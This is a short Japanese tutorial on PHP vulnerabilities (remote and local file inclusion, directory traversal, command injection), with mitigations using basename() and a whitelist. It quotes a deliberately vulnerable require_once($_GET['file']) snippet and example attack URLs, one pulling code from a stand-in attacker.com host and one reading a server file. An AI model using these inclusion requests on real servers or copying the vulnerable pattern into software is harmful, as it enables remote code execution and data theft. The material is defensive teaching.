■リモートファイルインクルード
外部の任意のPHPをインクルードさせることができる。従って、サーバのルート権限を奪取することもできてしまう。
以下のコードを考える。
<?php $file = $_GET['file']; require_once($file); ?>
注意しなければならないのは、php.iniの「allow_url_fopen」ディレクティブが「On」になっているとき、リモートでファイルをインクルードできるということである。つまりリクエストが以下のURLのときに、脆弱性となり得る。
http://sample.org/index.php?file=http://attacker.com/
対策
<?php $file = basename($_GET['file']); require_once($file); ?>
各関数について
- string basename(string $path[, string $suffix])
- 文字列としてパスを与えると、ファイル名の部分だけ返す。
- string dirname(string $path)
- 文字列としてパスを与えると、ディレクトリの部分を返す(ルートからカレントまで)。
■ローカルファイルインクルード
上述の脆弱性があるコードを考える。
<?php $file = $_GET['file']; require_once($file); ?>
以下のようなリクエストがあった場合、サーバ上のWebに公開されていないファイルが丸見えになってしまう。
http://sample.org/index.php?file=/usr/passwd.txt
対策
上述のコードと全く同じようにbasename関数を使ってあげるだけで良い。
<?php $file = basename($_GET['file']); require_once($file); ?>
■ディレクトリトラバーサル
ディレクトリを遡ることを意味する。これもbasename関数を使った上述のコードで防ぐことができる。
■まとめ
basename関数を必ず使用してファイル名を確実に抜き出せるようにすること。また、ユーザ入力に依存した任意のファイル名をそのまま使用するのではなく、以下のように極力ホワイトリスト方式を使用する。
<?php $file_list = array('dog.php', 'cat.php', 'coffee.php'); $file = basename($_GET['file']); if(in_array($file, $file_list)){ require_once($file); } ?>
但し、上述の場合はbasename関数がなくても脆弱性にはならない。
■コマンドインジェクション
あまり知られていないかもしれないが、PHPからOSのコマンドを入力することも可能である。以下のようにバッククォートを用いても可能だ。
$current_directory = `ls`; print($current_directory);
但し、OSのコマンドにユーザ入力に依存したコードを含めるのは非常に危険であり、アプリケーションでそのようなコードを用いないことを強くお勧めする。